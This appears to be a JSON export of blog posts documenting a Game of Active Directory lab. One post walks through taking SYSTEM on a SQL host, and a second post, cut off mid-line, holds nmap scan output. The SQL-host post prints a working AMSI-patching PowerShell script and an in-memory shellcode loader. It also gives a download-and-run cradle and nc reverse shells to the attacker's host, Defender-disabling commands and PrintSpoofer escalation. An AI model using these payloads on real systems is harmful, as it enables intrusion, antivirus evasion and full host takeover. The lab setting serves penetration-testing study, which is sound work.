[{"content":"After achieving RCE on the SQL host I proceeded to check the user\u0026rsquo;s privileges.\nAs this is a service account it has the SeImpersonatePrivilege privilege enabled. This is a direct pwn using the Potato or the PrintSpoofer binaries.\nKnowing the way I will get NT AUTHORITY\\SYSTEM on the SQL host, I proceeded to check if Defender is active.\nI also confirmed I can access Kali from the Windows environment with an HTTP request: I will use a PowerShell script to load a Metasploit payload (all in memory) to bypass AMSI, and I will use netcat with PrintSpoofer after disabling Defender\u0026rsquo;s real-time protection to practice an OSCP-like methodology.\nAMSI Bypass using PowerShell As we have PowerShell command execution, we can use a PowerShell script to bypass AMSI and load our preferred binary all in memory, attempting to bypass Defender. If you don\u0026rsquo;t know what AMSI is, I recommend you do the Holo Network on TryHackMe, where it explains the techniques I will be using and the theoretical concepts you need to know. To do a very brief summary: AMSI (the Antimalware Scan Interface) is used by Windows Defender and other antimalware products to scan scripts and other content; it can block malicious code execution when the content is inspected.\nI started a Meterpreter listener on my Kali host: The first thing we need to do is get a PowerShell process. I used nc.exe to send a reverse shell to my Kali host. I am using the $env:TEMP directory, which has write permissions, to store the nc.exe binary. I started a nc listener on port 4444 and launched nc.exe, passing PowerShell.exe.\nI checked if the current process is 32-bit or 64-bit. In this case it is 32-bit.\nAs we can see this is an x86 process. This won\u0026rsquo;t work for the Meterpreter loader, so I spawned a 64-bit PowerShell process.\nI used the same command but changing the PowerShell binary: xp_cmdshell C:\\Windows\\SERVIC~1\\NETWOR~1\\AppData\\Local\\Temp\\nc.exe 192.168.1.41 4444 -e c:\\Windows\\Sysnative\\WindowsPowerShell\\v1.0\\powershell.exe\nThis worked perfectly and I got the 64-bit process. I then used iex (Invoke-Expression) to execute the AMSI bypass script and the Meterpreter loader script, obtaining the Meterpreter reverse shell.\nWhen I reproduced the exact same steps to do the captures to upload to the blog, Defender suddenly blocked the nc.exe binary, so I had to find a workaround to do the same.\nNow I can\u0026rsquo;t execute iex nor nc.exe within mssqlclient. I started an SMB server using impacket-smbserver to be able to execute a script locally without iex. Then I used net use to access the share and I modified the AMSI bypass script to output whether the process is 64- or 32-bit (just for debugging) and, at the end, after bypassing AMSI, run the iex command to execute the Meterpreter loader script.\nimpacket-smbserver: The resulting AMSI bypass script is the following:\n# DEBUG: 64-bit or 32-bit process (Get-Process -Id $PID).StartInfo.EnvironmentVariables[\u0026#34;PROCESSOR_ARCHITECTURE\u0026#34;] # AMSI Bypass [PSObject].Assembly.GetType(\u0026#34;System.Management.Automation.TypeAccelerators\u0026#34;)::Add(\u0026#39;notExisTingSignAtuRe\u0026#39;, [system.runtime.interopservices.marshal]) $MethodDefinition = \u0026#34; [DllImport(`\u0026#34;kernel32`\u0026#34;)] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport(`\u0026#34;kernel32`\u0026#34;)] public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport(`\u0026#34;kernel32`\u0026#34;)] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); \u0026#34;; $Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name \u0026#39;Kernel32\u0026#39; -NameSpace \u0026#39;Win32\u0026#39; -PassThru; $ABSD = \u0026#39;AmsiS\u0026#39;+\u0026#39;canBuffer\u0026#39;; $handle = [Win32.Kernel32]::GetModuleHandle(\u0026#39;amsi.dll\u0026#39;); [IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD); [UInt32]$Size = 0x5; [UInt32]$ProtectFlag = 0x40; [UInt32]$OldProtectFlag = 0; $test = [Win32.Kernel32] $test::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag); $buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); [notExisTingSignAtuRe]::copy($buf, 0, $BufferAddress, 6); # Execute Meterpreter loader without restrictions iex(new-object net.webclient).downloadstring(\u0026#39;http://192.168.1.41/Metasploit-Loader-Powershell.ps1\u0026#39;) The Meterpreter loader script is the following:\n# Use msfvenom -f ps1 to retrieve the shellcode for your payload [Byte[]] $shellcode = 0xfc,0x48,... function LookupFunc { Param ($moduleName, $functionName) $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(\u0026#39;\\\\\u0026#39;)[-1].Equals(\u0026#39;System.dll\u0026#39;)}).GetType(\u0026#39;Microsoft.Win32.UnsafeNativeMethods\u0026#39;) $tmp = $assem.GetMethods() | ForEach-Object {If($_.Name -eq \u0026#34;GetProcAddress\u0026#34;) {$_}} $handle = $assem.GetMethod(\u0026#39;GetModuleHandle\u0026#39;).Invoke($null, @($moduleName)); [IntPtr] $result = 0; try { $result = $tmp[0].Invoke($null, @($handle, $functionName)); }catch { $handle = new-object -TypeName System.Runtime.InteropServices.HandleRef -ArgumentList @($null, $handle); $result = $tmp[0].Invoke($null, @($handle, $functionName)); } return $result; } function getDelegateType { Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,[Parameter(Position = 1)] [Type] $delType = [Void]) $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(\u0026#39;ReflectedDelegate\u0026#39;)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(\u0026#39;InMemoryModule\u0026#39;, $false).DefineType(\u0026#39;MyDelegateType\u0026#39;,\u0026#39;Class, Public, Sealed, AnsiClass, AutoClass\u0026#39;, [System.MulticastDelegate]) $type.DefineConstructor(\u0026#39;RTSpecialName, HideBySig, Public\u0026#39;,[System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags(\u0026#39;Runtime, Managed\u0026#39;) $type.DefineMethod(\u0026#39;Invoke\u0026#39;, \u0026#39;Public, HideBySig, NewSlot, Virtual\u0026#39;, $delType, $func).SetImplementationFlags(\u0026#39;Runtime, Managed\u0026#39;) return $type.CreateType() } $lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $lpMem, $shellcode.Length) $hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),(getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero) [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject),(getDelegateType @([IntPtr], [Int32])([Int]))).Invoke($hThread, 0xFFFFFFFF) The execution worked perfectly: I then used getsystem to exploit the SeImpersonatePrivilege and obtain NT AUTHORITY\\SYSTEM. I also migrated the process to avoid issues. PrintSpoofer To get SYSTEM without using metasploit or any non-allowed OSCP tool, we can use PrintSpoofer. This binary will be detected by defender, so I will use it with defender disabled, like in OSCP.\nFirst I disable defender:\n┌──(kali㉿kali)-[~/…/GOAD NHA/Evidence/Misc files/utilities]-[2025-09-14 17:01:02] └─$ evil-winrm -i 192.168.56.22 -u Administrator -H \u0026lt;REDACTED\u0026gt; Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc\u0026#39; for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\\Users\\Administrator.SQL\\Documents\u0026gt; *Evil-WinRM* PS C:\\Users\\Administrator.SQL\\Documents\u0026gt; get-mpcomputerstatus | findstr -i realtimeprotection RealTimeProtectionEnabled : True *Evil-WinRM* PS C:\\Users\\Administrator.SQL\\Documents\u0026gt; Set-MpPreference -DisableRealtimeMonitoring $true *Evil-WinRM* PS C:\\Users\\Administrator.SQL\\Documents\u0026gt; get-mpcomputerstatus | findstr -i realtimeprotection RealTimeProtectionEnabled : False After that I proceed to download the PrintSpoofer binary from my kali host:\n┌──(kali㉿kali)-[~/…/GOAD NHA/Evidence/Misc files/utilities]-[2025-09-14 16:54:20] └─$ impacket-mssqlclient \u0026#39;new_dba\u0026#39;:\u0026#39;SecurePassword123\u0026#39;@192.168.56.22 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(SQL\\SQLEXPRESS): Line 1: Changed database context to \u0026#39;master\u0026#39;. [*] INFO(SQL\\SQLEXPRESS): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (150 7208) [!] Press help for extra shell commands SQL (new_dba dbo@master)\u0026gt; xp_cmdshell powershell -c \u0026#34;iwr http://192.168.1.41/PrintSpoofer64.exe -outfile $env:temp/PrintSpoofer64.exe\u0026#34; output ------ NULL SQL (new_dba dbo@master)\u0026gt; xp_cmdshell powershell -c \u0026#34;echo $env:temp\u0026#34; output ----------------------------------------------- C:\\Windows\\SERVIC~1\\NETWOR~1\\AppData\\Local\\Temp NULL SQL (new_dba dbo@master)\u0026gt; xp_cmdshell dir C:\\Windows\\SERVIC~1\\NETWOR~1\\AppData\\Local\\Temp output ------------------------------------------------------------- Volume in drive C is Windows 2019 Volume Serial Number is 3888-0D48 NULL Directory of C:\\Windows\\SERVIC~1\\NETWOR~1\\AppData\\Local\\Temp NULL 09/14/2025 07:57 AM \u0026lt;DIR\u0026gt; . 09/14/2025 07:57 AM \u0026lt;DIR\u0026gt; .. 09/03/2025 04:28 AM 2,346 MpCmdRun.log 09/14/2025 07:56 AM 27,136 PrintSpoofer64.exe 2 File(s) 29,482 bytes 2 Dir(s) 35,984,850,944 bytes free NULL I then download the nc.exe binary (defender removed it).\nSQL (new_dba dbo@master)\u0026gt; xp_cmdshell powershell -c \u0026#34;iwr http://192.168.1.41/nc.exe -outfile $env:temp/nc.exe\u0026#34; output ------ NULL SQL (new_dba dbo@master)\u0026gt; xp_cmdshell dir C:\\Windows\\SERVIC~1\\NETWOR~1\\AppData\\Local\\Temp\\ output ------------------------------------------------------------- Volume in drive C is Windows 2019 Volume Serial Number is 3888-0D48 NULL Directory of C:\\Windows\\SERVIC~1\\NETWOR~1\\AppData\\Local\\Temp NULL 09/14/2025 07:57 AM \u0026lt;DIR\u0026gt; . 09/14/2025 07:57 AM \u0026lt;DIR\u0026gt; .. 09/03/2025 04:28 AM 2,346 MpCmdRun.log 09/14/2025 07:57 AM 59,392 nc.exe 09/14/2025 07:56 AM 27,136 PrintSpoofer64.exe 3 File(s) 88,874 bytes 2 Dir(s) 35,689,377,792 bytes free NULL I then executed the PrintSpoofer binary with the -c flag to launch a nc reverse shell as SYSTEM.\nSQL (new_dba dbo@master)\u0026gt; xp_cmdshell C:\\Windows\\SERVIC~1\\NETWOR~1\\AppData\\Local\\Temp\\PrintSpoofer64.exe -c \u0026#34;C:\\Windows\\SERVIC~1\\NETWOR~1\\AppData\\Local\\Temp\\nc.exe 192.168.1.41 4444 -e cmd\u0026#34; output ------------------------------------------- [+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening... [+] CreateProcessAsUser() OK NULL ","permalink":"https://emc2hf.github.io/blog/2025/09/10/goad-game-of-active-directory-nha-%233-bypassing-defender-and-achieving-system-on-sql-host/","summary":"\u003cp\u003eAfter achieving RCE on the \u003ccode\u003eSQL\u003c/code\u003e host I proceeded to check the user\u0026rsquo;s privileges.\u003c/p\u003e\n\u003cp\u003e\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/goad/3-amsi-bypass/mssql_whoami_priv.png\"/\u003e \n\u003c/figure\u003e\n\nAs this is a service account it has the \u003ccode\u003eSeImpersonatePrivilege\u003c/code\u003e privilege enabled. This is a direct pwn using the Potato or the PrintSpoofer binaries.\u003c/p\u003e\n\u003cp\u003eKnowing the way I will get \u003ccode\u003eNT AUTHORITY\\SYSTEM\u003c/code\u003e on the \u003cstrong\u003eSQL\u003c/strong\u003e host, I proceeded to check if \u003cstrong\u003eDefender\u003c/strong\u003e is active.\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/goad/3-amsi-bypass/mssql_check_defender.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eI also confirmed I can access Kali from the Windows environment with an HTTP request:\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/goad/3-amsi-bypass/mssql_iwr.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/goad/3-amsi-bypass/mssql_kali_iwr_result.png\"/\u003e \n\u003c/figure\u003e\n\u003c/p\u003e","title":"GOAD (Game of Active Directory) NHA #3 - Bypassing Defender and Achieving SYSTEM on SQL Host"},{"content":"Initial enumeration The first thing I did after installation and connectivity were set up was run an Nmap scan with the --top-ports 100 option (default) to quickly identify open ports and up hosts, since some Windows hosts do not respond to ICMP.\nAfter that, I ran a full Nmap service scan on the discovered hosts with the common scripts and service version options.\n┌──(kali㉿kali)-[~/…/GOAD NHA/Evidence/Scans/Service]-[2025-09-06 23:31:40] └─$ cat hosts.txt 192.168.56.10 192.168.56.20 192.168.56.21 192.168.56.22 192.168.56.23 ┌──(kali㉿kali)-[~/…/GOAD NHA/Evidence/Scans/Service]-[2025-09-06 23:31:40] └─$ sudo nmap -sS --open -iL hosts.txt -p- -n -Pn -sCV -v -T5 -oN ALL_ports.txt Nmap scan report for 192.168.56.10 PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-title: IIS Windows Server 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-06 17:10:15Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ninja.hack0., Site: Default-First-Site-Name) |_ssl-date: 2025-09-06T17:12:06+00:00; -1s from scanner time. | ssl-cert: Subject: commonName=dc-vil.ninja.hack | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:\u0026lt;unsupported\u0026gt;, DNS:dc-vil.ninja.hack | Issuer: commonName=NINJA-CA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-09-02T14:15:35 | Not valid after: 2026-09-02T14:15:35 | MD5: 66fe:7620:d7c3:d5b1:cda1:4d26:dcb4:1f6c |_SHA-1: 6887:c456:112c:2ed8:94d3:0297:dd70:d59c:67aa:1a7f 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ninja.hack0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc-vil.ninja.hack | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:\u0026lt;unsupported\u0026gt;, DNS:dc-vil.ninja.hack | Issuer: commonName=NINJA-CA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-09-02T14:15:35 | Not valid after: 2026-09-02T14:15:35 | MD5: 66fe:7620:d7c3:d5b1:cda1:4d26:dcb4:1f6c |_SHA-1: 6887:c456:112c:2ed8:94d3:0297:dd70:d59c:67aa:1a7f |_ssl-date: 2025-09-06T17:12:06+00:00; 0s from scanner time. 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ninja.hack0., Site: Default-First-Site-Name) |_ssl-date: 2025-09-06T17:12:06+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=dc-vil.ninja.hack | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:\u0026lt;unsupported\u0026gt;, DNS:dc-vil.ninja.hack | Issuer: commonName=NINJA-CA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-09-02T14:15:35 | Not valid after: 2026-09-02T14:15:35 | MD5: 66fe:7620:d7c3:d5b1:cda1:4d26:dcb4:1f6c |_SHA-1: 6887:c456:112c:2ed8:94d3:0297:dd70:d59c:67aa:1a7f 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ninja.hack0., Site: Default-First-Site-Name) |_ssl-date: 2025-09-06T17:12:06+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=dc-vil.ninja.hack | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:\u0026lt;unsupported\u0026gt;, DNS:dc-vil.ninja.hack | Issuer: commonName=NINJA-CA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-09-02T14:15:35 | Not valid after: 2026-09-02T14:15:35 | MD5: 66fe:7620:d7c3:d5b1:cda1:4d26:dcb4:1f6c |_SHA-1: 6887:c456:112c:2ed8:94d3:0297:dd70:d59c:67aa:1a7f 3389/tcp open ms-wbt-server Microsoft Terminal Services |_ssl-date: 2025-09-06T17:12:06+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=dc-vil.ninja.hack | Issuer: commonName=dc-vil.ninja.hack | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-09-01T12:29:13 | Not valid after: 2026-03-03T12:29:13 | MD5: 2f5b:ea35:1df1:d9a8:f7a5:a0ab:078b:1f05 |_SHA-1: 0ec2:e105:bb4e:a168:58ba:7e26:ff30:85aa:3a46:e89f 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found | ssl-cert: Subject: commonName=VAGRANT | Subject Alternative Name: DNS:VAGRANT, DNS:vagrant | Issuer: commonName=VAGRANT | Public Key type: rsa | Public Key bits: 4096 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-08-31T10:27:02 | Not valid after: 2028-08-30T10:27:02 | MD5: 70e6:540d:00ac:0a19:12ba:b2fd:ae3b:1509 |_SHA-1: 3365:8276:a074:3f12:0caa:04cf:1652:70cc:870c:d8a3 | tls-alpn: |_ http/1.1 |_http-server-header: Microsoft-HTTPAPI/2.0 |_ssl-date: 2025-09-06T17:12:05+00:00; 0s from scanner time. 9389/tcp open mc-nmf .NET Message Framing 49666/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49670/tcp open msrpc Microsoft Windows RPC 49671/tcp open msrpc Microsoft Windows RPC 49678/tcp open msrpc Microsoft Windows RPC 49683/tcp open msrpc Microsoft Windows RPC 49698/tcp open msrpc Microsoft Windows RPC 49708/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC-VIL; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2025-09-06T17:11:24 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | nbstat: NetBIOS name: DC-VIL, NetBIOS user: \u0026lt;unknown\u0026gt;, NetBIOS MAC: 08:00:27:85:62:4b (PCS Systemtechnik/Oracle VirtualBox virtual NIC) | Names: | DC-VIL\u0026lt;00\u0026gt; Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt; | NINJA\u0026lt;00\u0026gt; Flags: \u0026lt;group\u0026gt;\u0026lt;active\u0026gt; | NINJA\u0026lt;1c\u0026gt; Flags: \u0026lt;group\u0026gt;\u0026lt;active\u0026gt; | DC-VIL\u0026lt;20\u0026gt; Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt; |_ NINJA\u0026lt;1b\u0026gt; Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt; Nmap scan report for 192.168.56.20 Host is up (0.010s latency). Not shown: 65512 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-06 17:10:15Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: academy.ninja.lan, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: academy.ninja.lan, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services |_ssl-date: 2025-09-06T17:12:06+00:00; 0s from scanner time. | rdp-ntlm-info: | Target_Name: ACADEMY | NetBIOS_Domain_Name: ACADEMY | NetBIOS_Computer_Name: DC-AC | DNS_Domain_Name: academy.ninja.lan | DNS_Computer_Name: dc-ac.academy.ninja.lan | DNS_Tree_Name: academy.ninja.lan | Product_Version: 10.0.17763 |_ System_Time: 2025-09-06T17:11:16+00:00 | ssl-cert: Subject: commonName=dc-ac.academy.ninja.lan | Issuer: commonName=dc-ac.academy.ninja.lan | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-09-01T12:27:27 | Not valid after: 2026-03-03T12:27:27 | MD5: 1dd8:cd11:f35c:b997:c745:3e33:6040:6d15 |_SHA-1: 539b:7091:f7c8:f413:bad2:af88:fd35:b931:5431:54b8 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_ssl-date: 2025-09-06T17:12:07+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=VAGRANT | Subject Alternative Name: DNS:VAGRANT, DNS:vagrant | Issuer: commonName=VAGRANT | Public Key type: rsa | Public Key bits: 4096 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-08-31T10:53:13 | Not valid after: 2028-08-30T10:53:13 | MD5: b8ec:0505:79e5:9847:59ae:efff:47c2:36d1 |_SHA-1: 8209:f610:07b1:979d:615f:5529:1b79:9b52:be21:5cf8 | tls-alpn: |_ http/1.1 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49669/tcp open msrpc Microsoft Windows RPC 49670/tcp open msrpc Microsoft Windows RPC 49671/tcp open msrpc Microsoft Windows RPC 49672/tcp open msrpc Microsoft Windows RPC 49680/tcp open msrpc Microsoft Windows RPC 49696/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC-AC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | nbstat: NetBIOS name: DC-AC, NetBIOS user: \u0026lt;unknown\u0026gt;, NetBIOS MAC: 08:00:27:7d:fa:ab (PCS Systemtechnik/Oracle VirtualBox virtual NIC) | Names: | DC-AC\u0026lt;00\u0026gt; Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt; | ACADEMY\u0026lt;00\u0026gt; Flags: \u0026lt;group\u0026gt;\u0026lt;active\u0026gt; | ACADEMY\u0026lt;1c\u0026gt; Flags: \u0026lt;group\u0026gt;\u0026lt;active\u0026gt; | DC-AC\u0026lt;20\u0026gt; Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt; |_ ACADEMY\u0026lt;1b\u0026gt; Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt; | smb2-time: | date: 2025-09-06T17:11:21 |_ start_date: N/A Nmap scan report for 192.168.56.21 Host is up (0.0037s latency). Not shown: 65529 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Home Page - NHA - Ninja Hacker Academy | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-favicon: Unknown favicon MD5: 4859E39AE6C0F1F428F2126A6BB32BD9 |_http-server-header: Microsoft-IIS/10.0 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds? 3389/tcp open ms-wbt-server Microsoft Terminal Services | ssl-cert: Subject: commonName=web.academy.ninja.lan | Issuer: commonName=web.academy.ninja.lan | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-09-01T13:03:46 | Not valid after: 2026-03-03T13:03:46 | MD5: b886:6da8:9d70:ff44:af9c:0f2f:f1d1:28f2 |_SHA-1: 6552:4c8a:9e73:40a0:b928:290f:5560:9d7f:d998:8919 |_ssl-date: 2025-09-06T17:12:06+00:00; 0s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found |_ssl-date: 2025-09-06T17:12:06+00:00; +1s from scanner time. | ssl-cert: Subject: commonName=VAGRANT | Subject Alternative Name: DNS:VAGRANT, DNS:vagrant | Issuer: commonName=VAGRANT | Public Key type: rsa | Public Key bits: 4096 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-08-31T11:08:22 | Not valid after: 2028-08-30T11:08:22 | MD5: f674:b4b9:ec3c:aeae:ec4c:031a:6a77:5ac7 |_SHA-1: 5d7e:83bf:fdfe:365d:31b0:0da7:d554:4c0f:e318:82b6 | tls-alpn: |_ http/1.1 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required | smb2-time: | date: 2025-09-06T17:11:26 |_ start_date: N/A Nmap scan report for 192.168.56.22 Host is up (0.011s latency). Not shown: 65334 closed tcp ports (reset), 183 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ms-sql-ntlm-info: | 192.168.56.22:1433: | Target_Name: ACADEMY | NetBIOS_Domain_Name: ACADEMY | NetBIOS_Computer_Name: SQL | DNS_Domain_Name: academy.ninja.lan | DNS_Computer_Name: sql.academy.ninja.lan | DNS_Tree_Name: academy.ninja.lan |_ Product_Version: 10.0.17763 |_ssl-date: 2025-09-06T17:12:06+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Issuer: commonName=SSL_Self_Signed_Fallback | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-09-06T16:47:04 | Not valid after: 2055-09-06T16:47:04 | MD5: 9f06:0296:450f:8427:f3a4:67bb:b200:07c4 |_SHA-1: 5093:43cb:c2fa:a3df:4f6e:a5e5:c08b:e336:9e2b:3877 | ms-sql-info: | 192.168.56.22:1433: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 3389/tcp open ms-wbt-server Microsoft Terminal Services | ssl-cert: Subject: commonName=sql.academy.ninja.lan | Issuer: commonName=sql.academy.ninja.lan | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-09-01T13:09:00 | Not valid after: 2026-03-03T13:09:00 | MD5: cc00:a47b:79ef:3cf2:d604:307b:7770:e64c |_SHA-1: 3f38:0daa:a896:74a6:dcd7:61f3:a1e5:a228:9f79:e1da |_ssl-date: 2025-09-06T17:12:06+00:00; 0s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_ssl-date: 2025-09-06T17:12:06+00:00; 0s from scanner time. |_http-server-header: Microsoft-HTTPAPI/2.0 | tls-alpn: |_ http/1.1 |_http-title: Not Found | ssl-cert: Subject: commonName=VAGRANT | Subject Alternative Name: DNS:VAGRANT, DNS:vagrant | Issuer: commonName=VAGRANT | Public Key type: rsa | Public Key bits: 4096 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-08-31T11:27:52 | Not valid after: 2028-08-30T11:27:52 | MD5: d8b4:8b63:171e:2808:50c0:8439:cbd5:7516 |_SHA-1: 7c7e:2eb0:22ee:7445:1143:93b2:1df5:a60c:7eb4:6098 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 49664/tcp open msrpc Microsoft 